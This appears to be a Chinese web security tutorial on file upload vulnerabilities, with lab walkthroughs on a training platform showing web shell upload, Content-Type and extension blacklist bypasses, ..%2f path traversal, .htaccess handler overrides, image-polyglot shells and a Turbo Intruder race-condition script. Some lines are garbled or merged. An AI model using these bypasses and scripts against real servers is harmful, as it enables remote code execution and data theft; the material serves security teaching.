欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:
知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!
欢迎关注订阅专栏!
- 专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架,推开入门深造的大门。
- 绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点。避免读者沉迷在无尽的技巧中而迷失进阶的道路!本系列的目标是授之以渔,而不仅仅是技巧的堆砌。
- 每篇文章均配有大量靶场,点击文章中靶场名即可跳转练习(靶场在网站注册即可免费使用)。
- 欢迎订阅专栏!建议学完两个基础专栏,再学习高级哦~
文件上传漏洞指缺失或可绕过对拟上传文件的名字、类型、内容或大小进行验证。导致实际可上传恶意文件,如脚本或木马。造成远程命令执行、敏感信息泄露等危害。
目前,网站大量使用动态页面,这些访问路径与实际的文件存储路径没有直接关系。但是对样式表(stylesheets)、图片等类型的静态资源访问,路径还是一样。
服务器从请求中识别出文件后缀类型。将扩展名和MIME与预制好的文件类型白名单(或黑名单)进行比对。命中名单后,执行不同的操作,大致分为三类:
在响应头中,
Content-Type
会提供服务器支持的文件类型。如没有该头部,则应用使用文件扩展名MIME类型映射表。
最好的情况是,网站允许上传任意脚本,如PHP\JAVA\PYTHON文件,并且被当做代码执行。这种情况下,可制作Web shell进行上传攻击。
Web shell是一种恶意脚本,上传后,攻击者只需向设定好的端点(通常是该文件存储位置)发送HTTP请求,即可在远程Web服务器上执行任意命令。
若能成功上传Web shell,则意味着已拥有对服务器的完全控制。可以读写任意文件、窃取敏感数据,甚至使用服务器转移针对内部基础设施和网络外部其他服务器的攻击。举例如下
上传后,对此文件存储位置发送请求,将在响应中返回目标文件的内容。
通过参数调用使用该shell
GET /example/exploit.php?command=id HTTP/1.1
例题 1
一般HTML表格,采用post数据包,文件格式application/x-www-form-url-encoded
即可。但是如有图片或PDF等需二进制传送的内容,文件格式使用multipart/form-data
。
在一个表单中包括上传头像照片、个人描述、用户名三部分内容,常规数据包如下:
POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg (头像照片)
[...binary content of example.jpg...]
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description" (个人描述)
This is an interesting description of my image.
---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username" (用户名)
wiener
---------------------------012345678901234567890123456--
如网站验证特定类型文件时,若仅验证Content-Type
,我们可拦截数据包,直接修改该值即可绕过验证。
例题2
在上述第1道验证文件类型的防线后,网站往往还采取禁止用户在访问到的文件上传路径区域执行任何脚本的限制。
往往在配置中将此区域能执行的脚本,直接规定出来。并对其他脚本的请求,返回错误信息。有时错误信息是将恶意脚本内容直接返回。
GET /static/exploit.php?command=id HTTP/1.1
Host: normal-website.com
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 39
后端对不同区域的限制往往不同,用户上传区域最为严格。攻击者若能将文件上传至其他防护宽松的路径处,可能成功执行脚本。
数据请求包中字段multipart/form-data
的filename
往往决定文件名和影响存储路径。
例题 3
如果采用黑名单形式来验证文件类型,黑名单会被各种方式绕过。例如黑名单写明禁止.php
类型,但是后缀改为,.php3
、.php4
、.php5
、.phtml
、.php
可绕过黑名单,文件一样会被当做PHP来执行。
一般服务器是根据配置文件,来决定什么类型的文件可被执行。例如在linux上的apache配置文件/etc/apache2/apache2.conf
中,设置PHP为可执行文件。
LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php
或者
<FilesMatch "lx1"> //文件名包含"lx1"的文件可按PHP文件执行
SetHandler application/x-httpd-php
</FilesMatch>
在一个目录中有配置文件.htaccess
存在。则服务器在该目录下,优先于全局配置,执行此配置文件设置。
**在Windows上的IIS服务,**文件web.config
配置如下命令,可允许向用户返回json文件。
攻击者编制配置文件,使定制的后缀名映射到服务器可执行文件,然后尝试上传该文件(部分网站可上传),覆盖掉服务器原文件。
例题 4
.pHp
.php.jpg
.php.
exploit%2Ephp
.asp;.jpg
.asp%00.jpg
xC0 x2E xC4 xAE xC0 xAE
可能均会转化为x2E.p.phphp
中部的.php被过滤掉,剩余的字符串依然组成.php例题 5
除了对文件扩展名进行检测外,一些防护较好的服务器还对文件内容进行检测。检测的方式有多种。
Content-Type
图片马的绕过方式主要是4种,但核心是一样的。将攻击荷载加载进图片文件中,满足类型检测、文件开头或结尾十六进制检测、特定类型文件固有属性检测。
cmd中执行命令: copy 1.jpg/b+2.php 3.jpg
除了上述方式外,还需要一个必须条件,服务器存在类似任意文件包含漏洞,导致可执行jpg等图片文件(图片马)。
方法4 工具ExifTool 可直接将图片马变为.php直接上传,只要服务器能执行php文件即可。
例题 6
目前流行的主流框架,对上述攻击都有有效防御。通常是将刚刚上传的文件临时迁移到类似于沙箱环境路径下,并修改为随机文件名(避免覆盖和路径预测)。一旦文件进入沙箱环境将很难进行下一步攻击测试。
但是这种处理方式往往是在框架外,采用独立的流程进行处理。 这不仅相当复杂,而且还可能引入危险的争用条件,使攻击者能够完全绕过所有验证。
举例来说, 有些网站文件上传后,会将文件移至沙箱,用于检测病毒或恶意软件,并将源上传文件删除。但这个转义存储和删除源文件的过程需要几毫秒。这极短的时间,攻击者可以配合工具尝试进行利用(工具:Burp Turbo 扩展)。
条件竞争漏洞利用非常巧妙,也非常有难度。往往需要事先获取部分源码,通过源代码审计发现疑似利用点,并经大量测试才能成功。
例题 7
服务器必须通过互联网获取文件并创建本地副本,然后才能执行任何验证。
由于文件是使用HTTP加载的,因此开发人员无法使用框架机制来安全地验证文件。只能手动创建自己的进程来临时存储和验证文件,产生随机名称存放在临时目录中。
如果随机目录名是使用伪随机函数(如PHP的uniqid())生成的,则可用暴力破解测试的。
要想利用,可以尝试延长处理文件所需的时间,从而延长暴力破解目录的时间窗口。做到这一点的一种方法是上传一个非常大的文件来延长传输处理时间。如果它是分块处理的,该恶意文件的开头带有有效负载,后可跟大量的任意填充字节。
尽管无法在服务器上执行脚本,但可以上载客户端攻击的脚本。例如,可以上传HTML文件或SVG图像,可以使用
需考虑同源策略的限制
一些Web服务器可能被配置为支持PUT请求。如果没有适当的防御措施,这就成为一种上传恶意文件的替代方法,即使在网络界面上没有上传功能时也是如此。
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49
利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter,该网站对上传无任何防护
本地制作php web shell 123.php
再次刷新个人主页,发现数据包
GET /files/avatars/123.php HTTP/1.1
响应内容为flag
利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter
POST /my-account/avatar
image/png
image/jpg
-----------------------------396512672126764604443828361850
Content-Disposition: form-data; name="avatar"; filename="123.php"
Content-Type: image/png
利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter
filename=../123.php
。观察回复,发现…/被过滤-----------------------------28360212211975207492478525821
Content-Disposition: form-data; name="avatar"; filename="../123.php"
Content-Type: text/php
The file avatars/123.php has been uploaded.
/
可否绕过过滤-----------------------------28360212211975207492478525821
Content-Disposition: form-data; name="avatar"; filename="..%2f123.php"
Content-Type: text/php
The file avatars/../123.php has been uploaded.
成功。
利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter
Apache/2.4.41 (Ubuntu) Server at 172.17.0.4 Port 80
.htaccess
配置文件,自定制扩展按php执行文件。修改数据包POST /my-account/avatar
-----------------------------1606875978792719522141999998
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain
AddType application/x-httpd-php .heason
-----------------------------1606875978792719522141999998
Content-Disposition: form-data; name="avatar"; filename="123.heason"
Content-Type: text/php
利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter
456.php%00.jpg
可绕过。GET /files/avatars/456.php
查看响应获取结果利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter
exiftool
./exiftool -Comment=""
在图片描述中添加一句话木马,描述以STATE开头,END结尾(方便最后搜索),生成php文件上传,虽是php文件,但就是能绕过内容检测,工具很实用。
polyglot.php
直接上传GET /files/avatars/polyglot.php
利用基础PHP web shell读取文件/home/carlos/secret内容
测试账号wiener:peter,工具使用Burp Turbo 扩展
部分源码如下,(注意注释文字)
/*
上传的文件被移动到一个可访问的文件夹,在那里它被检查是否有病毒。只有在病毒检查完成后,才会删除恶意文件。这意味着在删除文件之前,可以在较小的时间窗口内执行该文件。
*/
<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move 上传的源文件被转移存储在临时可访问路径
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
// 问题就出现在上面这一行,是在完成检测后,发现有问题才会删除文件
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
function checkViruses($fileName) {
// checking for viruses
...
}
function checkFileType($fileName) {
$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG & PNG files are allowed\n";
return false;
} else {
return true;
}
}
?>
POST /my-account/avatar
GET /files/avatars/1.png
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''''' # POST /my-account/avatar
request2 = '''''' # GET /files/avatars/heason.php
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
heason.php
正常数据包上传,被拒。请求包作为 查看该文件GET包作为 构造攻击脚本def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''POST /my-account/avatar HTTP/1.1
Host: 0adc00f904771650c0a69f33000200fc.web-security-academy.net
Cookie: session=cj7XIiuLDzxPx2HeGcn2UQA2WP8u3vni
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208961071423304880663648965172
Content-Length: 550
Origin: https://0adc00f904771650c0a69f33000200fc.web-security-academy.net
Referer: https://0adc00f904771650c0a69f33000200fc.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------208961071423304880663648965172
Content-Disposition: form-data; name="avatar"; filename="heason.php"
Content-Type: application/octet-stream
-----------------------------208961071423304880663648965172
Content-Disposition: form-data; name="user"
wiener
-----------------------------208961071423304880663648965172
Content-Disposition: form-data; name="csrf"
OfvXiGdCGXG9Y4C3aGj9cbPgSWITTAOA
-----------------------------208961071423304880663648965172--
'''
request2 = '''GET /files/avatars/heason.php HTTP/1.1
Host: 0adc00f904771650c0a69f33000200fc.web-security-academy.net
Cookie: session=cj7XIiuLDzxPx2HeGcn2UQA2WP8u3vni
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: image/avif,image/webp,*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://0adc00f904771650c0a69f33000200fc.web-security-academy.net/my-account
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
If-Modified-Since: Sun, 05 Jun 2022 23:35:24 GMT
If-None-Match: "c52c-5e0bbcf47f78a"
Te: trailers
Connection: close
'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)